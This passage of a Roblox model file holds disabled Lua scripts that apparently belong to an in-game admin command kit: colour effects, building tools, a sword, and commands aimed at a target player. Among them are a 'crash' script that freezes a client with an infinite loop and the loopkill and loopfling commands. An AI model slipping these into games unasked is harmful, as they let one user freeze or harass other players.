					<ProtectedString name="Source">repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX13">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">strobe</string>
					<ProtectedString name="Source">repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX14">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopheal</string>
					<ProtectedString name="Source">local plr = script:findFirstChild(&quot;Value&quot;).Value
repeat wait()
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
plr.Character.Humanoid.Changed:connect(function() plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
end
end))
until nil</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX15">
					<Properties>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX16">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopfling</string>
					<ProtectedString name="Source">local plr = script:FindFirstChild(&quot;Value&quot;).Value
repeat
coroutine.resume(coroutine.create(function()
if plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;) and plr.Character:findFirstChild(&quot;Humanoid&quot;) then 
local xran local zran
repeat xran = math.random(-9999,9999) until math.abs(xran) &gt;= 5555
repeat zran = math.random(-9999,9999) until math.abs(zran) &gt;= 5555
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc = Instance.new(&quot;BodyForce&quot;, plr.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service(&quot;Debris&quot;):AddItem(frc,.1)
end
end))
wait(2) until nil</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX17">
					<Properties>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX18">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">crash</string>
					<ProtectedString name="Source">repeat until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX19">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">capescript</string>
					<ProtectedString name="Source">local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0
local col = script:findFirstChild(&quot;color&quot;).Value
local dec = script:findFirstChild(&quot;decal&quot;).Value
if col ~= &quot;&quot; then
if col == &quot;random&quot; then
p.BrickColor = BrickColor.random()
else
p.BrickColor = BrickColor.new(col)
end
else
p.BrickColor = torso.BrickColor
end
--pcall(function() p.formFactor = &quot;Custom&quot; end)
--p.Size = Vector3.new(.2,.2,.2)
pcall(function() p.formFactor = &quot;Symmetric&quot; end)
p.Size = Vector3.new(1,1,1)

--local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(9,17.5,.5)
local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(1.8, 3.5, 0.1)


if dec ~= &quot;&quot; then
local decalInst = Instance.new(&quot;Decal&quot;, p)
decalInst.Face = Enum.NormalId.Back
decalInst.Texture = dec
end
local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle
or math.abs(torso.Velocity.magnitude - oldmag) &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Remove()
</ProtectedString>
				</Properties>
				<Item class="StringValue" referent="RBX20">
					<Properties>
						<string name="Name">color</string>
						<string name="Value"></string>
					</Properties>
				</Item>
				<Item class="StringValue" referent="RBX21">
					<Properties>
						<string name="Name">decal</string>
						<string name="Value"></string>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX22">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">resize</string>
					<ProtectedString name="Source">repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild(&quot;PlayerGui&quot;)
local sb
local hs
local pdist

script.Parent.Selected:connect(function(mouse)
if not mouse then return end
sb = Instance.new(&quot;SelectionBox&quot;, game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new(&quot;Bright blue&quot;) sb.Adornee = nil
hs = Instance.new(&quot;Handles&quot;, game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new(&quot;Bright blue&quot;) hs.Adornee = nil
mouse.Button1Down:connect(function() if not mouse.Target then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) &gt;= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
hs.MouseButton1Down:connect(function() pdist = 0 end)
end)

script.Parent.Deselected:connect(function() sb:Remove() hs:Remove() end)</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX23">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">loopkill</string>
					<ProtectedString name="Source">local plr = script.Value.Value
for i = 1, 9999 do 
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;) and plr.Character.Humanoid.Health ~= 0
coroutine.resume(coroutine.create(function()
if plr and plr.Character then plr.Character:BreakJoints() end
end))
end</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX24">
					<Properties>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="Script" referent="RBX25">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">rainbowify</string>
					<ProtectedString name="Source">repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:isA(&quot;BasePart&quot;) and (v.Name ~= &quot;Head&quot; or not v.Parent:findFirstChild(&quot;NameTag&quot;, true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild(&quot;NameTag&quot;) then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil</ProtectedString>
				</Properties>
			</Item>
			<Item class="Tool" referent="RBX26">
				<Properties>
					<bool name="CanBeDropped">true</bool>
					<bool name="Enabled">true</bool>
					<CoordinateFrame name="Grip">
						<X>0</X>
						<Y>0</Y>
						<Z>-1.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>1</R10>
						<R11>0</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>1</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<string name="Name">Sword</string>
					<Content name="TextureId"><url>rbxasset://Textures/Sword128.png</url></Content>
					<string name="ToolTip"></string>
				</Properties>
				<Item class="Script" referent="RBX27">
					<Properties>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">SwordScript</string>
						<ProtectedString name="Source">-------- OMG HAX
r = game:service(&quot;RunService&quot;)


local damage = 5


local slash_damage = 10
local lunge_damage = 20

sword = script.Parent.Handle
Tool = script.Parent


local SlashSound = Instance.new(&quot;Sound&quot;)
SlashSound.SoundId = &quot;rbxasset://sounds\\swordslash.wav&quot;
SlashSound.Parent = sword
SlashSound.Volume = .3

local LungeSound = Instance.new(&quot;Sound&quot;)
LungeSound.SoundId = &quot;rbxasset://sounds\\swordlunge.wav&quot;
LungeSound.Parent = sword
LungeSound.Volume = .4

local UnsheathSound = Instance.new(&quot;Sound&quot;)
UnsheathSound.SoundId = &quot;rbxasset://sounds\\unsheath.wav&quot;
UnsheathSound.Parent = sword
UnsheathSound.Volume = .4


function blow(hit)
&#9;local humanoid = hit.Parent:findFirstChild(&quot;Humanoid&quot;)
&#9;local vCharacter = Tool.Parent
&#9;local vPlayer = game.Players:playerFromCharacter(vCharacter)
&#9;local hum = vCharacter:findFirstChild(&quot;Humanoid&quot;) -- non-nil if tool held by a character
&#9;if humanoid~=nil and humanoid ~= hum and hum ~= nil then
&#9;&#9;-- final check, make sure sword is in-hand

&#9;&#9;local right_arm = vCharacter:FindFirstChild(&quot;Right Arm&quot;)
&#9;&#9;if (right_arm ~= nil) then
&#9;&#9;&#9;local joint = right_arm:FindFirstChild(&quot;RightGrip&quot;)
&#9;&#9;&#9;if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
&#9;&#9;&#9;&#9;tagHumanoid(humanoid, vPlayer)
&#9;&#9;&#9;&#9;humanoid:TakeDamage(damage)&#9;&#9;
&#9;&#9;&#9;end
&#9;&#9;end


&#9;end
end


function tagHumanoid(humanoid, player)
&#9;local creator_tag = Instance.new(&quot;ObjectValue&quot;)
&#9;creator_tag.Value = player
&#9;creator_tag.Name = &quot;creator&quot;
&#9;creator_tag.Parent = humanoid

&#9;game.Debris:AddItem(creator_tag, 1)

&#9;if (humanoid:FindFirstChild(&quot;lol&quot;) == nil) then
&#9;&#9;local lol_tag = Instance.new(&quot;ObjectValue&quot;)
&#9;&#9;lol_tag.Value = player
&#9;&#9;lol_tag.Name = &quot;lol&quot;
&#9;&#9;lol_tag.Parent = humanoid

&#9;&#9;game.Debris:AddItem(lol_tag, 1)
&#9;end
end


function attack()
&#9;damage = slash_damage
&#9;SlashSound:play()
&#9;local anim = Instance.new(&quot;StringValue&quot;)
&#9;anim.Name = &quot;toolanim&quot;
&#9;anim.Value = &quot;Slash&quot;
&#9;anim.Parent = Tool
end

function lunge()
&#9;damage = lunge_damage

&#9;LungeSound:play()

&#9;local anim = Instance.new(&quot;StringValue&quot;)
&#9;anim.Name = &quot;toolanim&quot;
&#9;anim.Value = &quot;Lunge&quot;
&#9;anim.Parent = Tool
&#9;
&#9;
&#9;force = Instance.new(&quot;BodyVelocity&quot;)
&#9;force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80
&#9;force.Parent = Tool.Parent.Torso
&#9;wait(.25)
&#9;swordOut()
&#9;wait(.25)
&#9;force.Parent = nil
&#9;wait(.5)
&#9;swordUp()

&#9;damage = slash_damage
end

function swordUp()
&#9;Tool.GripForward = Vector3.new(-1,0,0)
&#9;Tool.GripRight = Vector3.new(0,1,0)
&#9;Tool.GripUp = Vector3.new(0,0,1)
end

function swordOut()
&#9;Tool.GripForward = Vector3.new(0,0,1)
&#9;Tool.GripRight = Vector3.new(0,-1,0)
&#9;Tool.GripUp = Vector3.new(-1,0,0)
end

function swordAcross()
&#9;-- parry
end


Tool.Enabled = true
local last_attack = 0
function onActivated()

&#9;if not Tool.Enabled then
&#9;&#9;return
&#9;end

&#9;Tool.Enabled = false

&#9;local character = Tool.Parent;
&#9;local humanoid = character.Humanoid
&#9;if humanoid == nil then
&#9;&#9;print(&quot;Humanoid not found&quot;)
&#9;&#9;return 
&#9;end

&#9;t = r.Stepped:wait()

&#9;if (t - last_attack &lt; .2) then
&#9;&#9;lunge()
&#9;else
&#9;&#9;attack()
&#9;end

&#9;last_attack = t

&#9;--wait(.5)

&#9;Tool.Enabled = true
end


function onEquipped()
&#9;UnsheathSound:play()
end


script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)


connection = sword.Touched:connect(blow)


</ProtectedString>
					</Properties>
				</Item>
				<Item class="LocalScript" referent="RBX28">
					<Properties>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Local Gui</string>
						<ProtectedString name="Source">local Tool = script.Parent;

enabled = true
function onButton1Down(mouse)
&#9;if not enabled then
&#9;&#9;return
&#9;end

&#9;enabled = false
&#9;mouse.Icon = &quot;rbxasset://textures\\GunWaitCursor.png&quot;

&#9;wait(.5)
&#9;mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
&#9;enabled = true

end

function onEquippedLocal(mouse)

&#9;if mouse == nil then
&#9;&#9;print(&quot;Mouse not found&quot;)
&#9;&#9;return 
&#9;end

&#9;mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
&#9;mouse.Button1Down:connect(function() onButton1Down(mouse) end)
end


Tool.Equipped:connect(onEquippedLocal)
</ProtectedString>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX29">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>rbxasset://fonts/sword.mesh</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<Content name="TextureId"><url>rbxasset://textures/SwordTexture.png</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="Tool" referent="RBX30">
				<Properties>
					<bool name="CanBeDropped">true</bool>
					<bool name="Enabled">true</bool>
					<CoordinateFrame name="Grip">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Rotate</string>
					<Content name="TextureId"><null></null></Content>
					<string name="ToolTip"></string>
				</Properties>
				<Item class="LocalScript" referent="RBX31">
					<Properties>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Rotate</string>
						<ProtectedString name="Source">local Tool = script.Parent
local Player = game.Players.LocalPlayer
local MainGui
local RotateGui
local Selectbox = Instance.new(&quot;SelectionBox&quot;)
Selectbox.Name = &quot;RotateSelectionBox&quot;
local Lasso = Instance.new(&quot;SelectionPartLasso&quot;)
Lasso.Name = &quot;RotateLasso&quot;
local Handles = Instance.new(&quot;ArcHandles&quot;)
Handles.Name = &quot;RotateHandles&quot;

events = {}
undo_part = {}
undo_cframe = {}
increment = 1
selection = nil
lastCFrame = nil

function round(number,by)
&#9;return math.floor((number/by)+0.5) * by
end

function AngleFromAxis(axis,rA)
&#9;rA = math.rad(round(math.deg(rA),increment))
&#9;return axis==Enum.Axis.X and {rA,0,0}
&#9;or axis==Enum.Axis.Y and {0,rA,0}
&#9;or axis==Enum.Axis.Z and {0,0,rA}
end

function IsSelectable(part,hit)
&#9;if part and Player.Character:FindFirstChild(&quot;Head&quot;) then
&#9;&#9;if (hit - Player.Character.Head.Position).magnitude &lt; 60 then return true end
&#9;end
&#9;return false
end

function UndoRotate()
&#9;if #undo_part &gt; 0 then
&#9;&#9;local part = undo_part[#undo_part]
&#9;&#9;local cframe = undo_cframe[#undo_cframe]
&#9;&#9;part.CFrame = cframe
&#9;&#9;table.remove(undo_part,#undo_part)
&#9;&#9;table.remove(undo_cframe,#undo_cframe)
&#9;end
end

function ResetAngles()
&#9;if selection then
&#9;&#9;lastCFrame = selection.CFrame
&#9;&#9;selection.CFrame = CFrame.new(selection.CFrame.p)
&#9;&#9;if lastCFrame ~= selection.CFrame then
&#9;&#9;&#9;table.insert(undo_part,selection)
&#9;&#9;&#9;table.insert(undo_cframe,lastCFrame)
&#9;&#9;end
&#9;end
end

local e = true
function SetIncrement(p)
&#9;if p == &quot;Text&quot; then
&#9;&#9;if not e then return end
&#9;&#9;e = false
&#9;&#9;local n = tonumber(RotateGui.Increment.Field.Text) or 1
&#9;&#9;n = n &lt; 1 and 1 or n &gt; 360 and 360 or n
&#9;&#9;increment = n
&#9;&#9;RotateGui.Increment.Field.Text = n
&#9;&#9;e = true
&#9;end
end

function SetupGUI()
&#9;MainGui = Player.PlayerGui:FindFirstChild(&quot;BuildGUI&quot;)
&#9;if not MainGui then
&#9;&#9;MainGui = Instance.new(&quot;ScreenGui&quot;)
&#9;&#9;MainGui.Name = &quot;BuildGUI&quot;
&#9;&#9;MainGui.Parent = Player.PlayerGui
&#9;end

&#9;RotateGui = RotateGui or MainGui:FindFirstChild(&quot;RotateTool&quot;)
&#9;if not RotateGui then
&#9;&#9;RotateGui = Instance.new(&quot;Frame&quot;)
&#9;&#9;RotateGui.Name = &quot;RotateTool&quot;
&#9;&#9;RotateGui.BackgroundColor3 = Color3.new(51/255,153/255,1)
&#9;&#9;RotateGui.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;RotateGui.Position = UDim2.new(0,0,1,-125)
&#9;&#9;RotateGui.Size = UDim2.new(0,225,0,60)

&#9;&#9;local item = Instance.new(&quot;Frame&quot;)
&#9;&#9;item.Name = &quot;Increment&quot;
&#9;&#9;item.BackgroundColor3 = Color3.new(1,147/255,25/255)
&#9;&#9;item.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;item.Position = UDim2.new(0,0,0.5,0)
&#9;&#9;item.Size = UDim2.new(0.75,0,0.5,0)
&#9;&#9;item.Parent = RotateGui
&#9;&#9;local subitem = Instance.new(&quot;TextLabel&quot;)
&#9;&#9;subitem.Name = &quot;Label&quot;
&#9;&#9;subitem.Text = &quot;Increment (degrees)&quot;
&#9;&#9;subitem.TextWrap = true
&#9;&#9;subitem.BackgroundColor3 = Color3.new(1,147/255,25/255)
&#9;&#9;subitem.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.TextColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.Position = UDim2.new(0,0,0,0)
&#9;&#9;subitem.Size = UDim2.new(0.5,0,1,0)
&#9;&#9;subitem.Parent = item
&#9;&#9;local subitem = Instance.new(&quot;TextBox&quot;)
&#9;&#9;subitem.Name = &quot;Field&quot;
&#9;&#9;subitem.Text = &quot;1&quot;
&#9;&#9;subitem.BackgroundColor3 = Color3.new(1,147/255,25/255)
&#9;&#9;subitem.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.TextColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.Position = UDim2.new(0.5,0,0,0)
&#9;&#9;subitem.Size = UDim2.new(0.5,0,1,0)
&#9;&#9;subitem.Parent = item

&#9;&#9;local item = Instance.new(&quot;Frame&quot;)
&#9;&#9;item.Name = &quot;Selection&quot;
&#9;&#9;item.BackgroundColor3 = Color3.new(51/255,153/255,1)
&#9;&#9;item.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;item.Position = UDim2.new(0,0,0,0)
&#9;&#9;item.Size = UDim2.new(0.75,0,0.5,0)
&#9;&#9;item.Parent = RotateGui
&#9;&#9;local subitem = Instance.new(&quot;TextLabel&quot;)
&#9;&#9;subitem.Name = &quot;Label&quot;
&#9;&#9;subitem.Text = &quot;Selection:&quot;
&#9;&#9;subitem.TextWrap = true
&#9;&#9;subitem.TextXAlignment = Enum.TextXAlignment.Right
&#9;&#9;subitem.BorderSizePixel = 0
&#9;&#9;subitem.BackgroundColor3 = Color3.new(51/255,153/255,1)
&#9;&#9;subitem.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.TextColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.Position = UDim2.new(0,2,0,2)
&#9;&#9;subitem.Size = UDim2.new(0.5,-4,1,-4)
&#9;&#9;subitem.Parent = item
&#9;&#9;local subitem = Instance.new(&quot;TextLabel&quot;)
&#9;&#9;subitem.Name = &quot;Part&quot;
&#9;&#9;subitem.Text = &quot;[none]&quot;
&#9;&#9;subitem.TextWrap = true
&#9;&#9;subitem.TextXAlignment = Enum.TextXAlignment.Left
&#9;&#9;subitem.BorderSizePixel = 0
&#9;&#9;subitem.BackgroundColor3 = Color3.new(51/255,153/255,1)
&#9;&#9;subitem.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.TextColor3 = Color3.new(0,0,0)
&#9;&#9;subitem.Position = UDim2.new(0.5,2,0,2)
&#9;&#9;subitem.Size = UDim2.new(0.5,-4,1,-4)
&#9;&#9;subitem.Parent = item

&#9;&#9;local item = Instance.new(&quot;TextButton&quot;)
&#9;&#9;item.Name = &quot;Reset&quot;
&#9;&#9;item.Text = &quot;Reset (R)&quot;
&#9;&#9;item.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
&#9;&#9;item.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;item.TextColor3 = Color3.new(0,0,0)
&#9;&#9;item.Position = UDim2.new(0.75,0,0,0)
&#9;&#9;item.Size = UDim2.new(0.25,0,0.5,0)
&#9;&#9;item.Parent = RotateGui

&#9;&#9;local item = Instance.new(&quot;TextButton&quot;)
&#9;&#9;item.Name = &quot;Undo&quot;
&#9;&#9;item.Text = &quot;Undo (F)&quot;
&#9;&#9;item.BackgroundColor3 = Color3.new(221/255,203/255,0)
&#9;&#9;item.BorderColor3 = Color3.new(0,0,0)
&#9;&#9;item.TextColor3 = Color3.new(0,0,0)
&#9;&#9;item.Position = UDim2.new(0.75,0,0.5,0)
&#9;&#9;item.Size = UDim2.new(0.25,0,0.5,0)
&#9;&#9;item.Parent = RotateGui
&#9;end
&#9;RotateGui.Parent = MainGui
&#9;Selectbox.Parent = Player.PlayerGui
&#9;Selectbox.Color = BrickColor.new(&quot;Bright blue&quot;)
&#9;Handles.Parent = Player.PlayerGui
&#9;Handles.Color = BrickColor.new(&quot;Bright orange&quot;)
&#9;if Player.Character:FindFirstChild(&quot;Humanoid&quot;) then
&#9;&#9;Lasso.Humanoid = Player.Character.Humanoid
&#9;&#9;Lasso.Parent = Player.PlayerGui
&#9;&#9;Lasso.Color = BrickColor.new(&quot;Bright blue&quot;)
&#9;end
&#9;events[&quot;Undo&quot;] = RotateGui.Undo.MouseButton1Click:connect(UndoRotate)
&#9;events[&quot;Reset&quot;] = RotateGui.Reset.MouseButton1Click:connect(ResetAngles)
&#9;events[&quot;Inc&quot;] = RotateGui.Increment.Field.Changed:connect(SetIncrement)
end

to_undo_part = nil
to_undo_cframe = nil

Tool.Equipped:connect(function(mouse)
&#9;SetupGUI()

&#9;RotateGui.Increment.Field.Text = tostring(increment)

&#9;events[&quot;MouseDown&quot;] = mouse.Button1Down:connect(function()
&#9;&#9;if IsSelectable(mouse.Target,mouse.Hit.p) then
&#9;&#9;&#9;selection = mouse.Target
&#9;&#9;&#9;Selectbox.Adornee = selection
&#9;&#9;&#9;Handles.Adornee = selection
&#9;&#9;&#9;Lasso.Part = selection

&#9;&#9;&#9;RotateGui.Selection.Part.Text = selection.Name .. &quot; (&quot; .. selection.className .. &quot;)&quot;
&#9;&#9;&#9;RotateGui.Reset.BackgroundColor3 = Color3.new(47/255, 208/255, 47/255)
&#9;&#9;else
&#9;&#9;&#9;Selectbox.Adornee = nil
&#9;&#9;&#9;Handles.Adornee = nil
&#9;&#9;&#9;Lasso.Part = nil
&#9;&#9;&#9;selection = nil

&#9;&#9;&#9;RotateGui.Selection.Part.Text = &quot;[none]&quot;
&#9;&#9;&#9;RotateGui.Reset.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
&#9;&#9;end
&#9;end)

&#9;events[&quot;KeyDown&quot;] = mouse.KeyDown:connect(function(key)
&#9;&#9;key = key:lower()
&#9;&#9;if key == &quot;r&quot; then&#9;-- reset hotkey
&#9;&#9;&#9;ResetAngles()
&#9;&#9;elseif key == &quot;f&quot; then&#9;-- undo hotkey
&#9;&#9;&#9;UndoRotate()
&#9;&#9;end
&#9;end)

&#9;events[&quot;MouseUp&quot;] = mouse.Button1Up:connect(function()
&#9;&#9;if to_undo_part and to_undo_cframe then
&#9;&#9;&#9;if to_undo_part ~= selection or to_undo_cframe ~= selection.CFrame then
&#9;&#9;&#9;&#9;table.insert(undo_part,to_undo_part)
&#9;&#9;&#9;&#9;table.insert(undo_cframe,to_undo_cframe)
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;to_undo_part = nil
&#9;&#9;to_undo_cframe = nil
&#9;&#9;Handles.Axes = Axes.new(Enum.Axis.X,Enum.Axis.Y,Enum.Axis.Z)
&#9;end)

&#9;events[&quot;HandleMouseDown&quot;] = Handles.MouseButton1Down:connect(function(axis)
&#9;&#9;if selection then
&#9;&#9;&#9;lastCFrame = selection.CFrame
&#9;&#9;&#9;to_undo_part = selection
&#9;&#9;&#9;to_undo_cframe = lastCFrame
&#9;&#9;&#9;Handles.Axes = Axes.new(axis)
&#9;&#9;end
&#9;end)

&#9;events[&quot;HandleMouseDrag&quot;] = Handles.MouseDrag:connect(function(axis, relativeAngle, deltaRadius)
&#9;&#9;if selection then
&#9;&#9;&#9;selection.CFrame = lastCFrame * CFrame.Angles(unpack(AngleFromAxis(axis,relativeAngle)))
&#9;&#9;end
&#9;end)
end)

Tool.Unequipped:connect(function()
&#9;RotateGui.Parent = nil
&#9;Selectbox.Adornee = nil
&#9;Selectbox.Parent = nil
&#9;Handles.Adornee = nil
&#9;Handles.Parent = nil
&#9;Lasso.Part = nil
&#9;Lasso.Parent = nil

&#9;selection = nil
&#9;to_undo_part = nil
&#9;to_undo_cframe = nil

&#9;RotateGui.Selection.Part.Text = &quot;[none]&quot;
&#9;RotateGui.Reset.BackgroundColor3 = Color3.new(27/255, 110/255, 27/255)
&#9;Handles.Axes = Axes.new(Enum.Axis.X,Enum.Axis.Y,Enum.Axis.Z)

&#9;for i,v in pairs(undo_part) do
&#9;&#9;undo_part[i] = nil&#9;-- deselected the tool, so get rid of undo history
&#9;&#9;undo_cframe[i] = nil
&#9;end
&#9;undo_part = {}
&#9;undo_cframe = {}
&#9;for ref in pairs(events) do
&#9;&#9;events[ref]:disconnect()
&#9;&#9;events[ref] = nil
&#9;end
&#9;--collectgarbage()
end)</ProtectedString>
					</Properties>
				</Item>
				<Item class="SpecialMesh" referent="RBX32">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><url>http://www.roblox.com/asset/?id=16171271</url></Content>
						<token name="MeshType">5</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.5</X>
							<Y>0.5</Y>
							<Z>0.5</Z>
						</Vector3>
						<Content name="TextureId"><url>http://www.roblox.com/asset/?id=16171265</url></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX33">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">unlock</string>
					<ProtectedString name="Source">local tool, m, conn, polling = script.Parent, nil, nil, false

local function thread(f)
coroutine.resume(coroutine.create(f))
end
local lockicon   = &quot;rbxasset://textures\\LockCursor.png&quot;
local unlockicon = &quot;rbxasset://textures\\UnlockCursor.png&quot;
local ping  = &quot;rbxasset://sounds\\electronicpingshort.wav&quot;

tool.Selected:connect(function(mouse)
&#9;m, polling = mouse, true
&#9;conn = m.Button1Down:connect(function()
&#9;&#9;local p = m.Target
&#9;&#9;if p and p:isA(&quot;Part&quot;) then p.Locked = not p.Locked end
&#9;&#9;local snd = Instance.new(&quot;Sound&quot;) snd.SoundId = ping snd.Parent  = tool snd:play()
&#9;&#9;thread(function()
&#9;&#9;wait(1)
&#9;&#9;snd:Remove()
&#9;&#9;end)
&#9;end)

&#9;thread(function()
&#9;&#9;while polling do
&#9;&#9;&#9;local p = m.Target
&#9;&#9;&#9;if p and p:isA(&quot;Part&quot;) then m.Icon = p.Locked and unlockicon or lockicon else m.Icon = &quot;&quot; end
&#9;&#9;&#9;wait(0.1)
&#9;&#9;end
&#9;end)
end)

tool.Deselected:connect(function()
&#9;polling = false
&#9;if conn then conn:disconnect() conn = nil end
&#9;if m then m.Icon = &quot;&quot; m = nil end
end)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="LocalScript" referent="RBX34">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
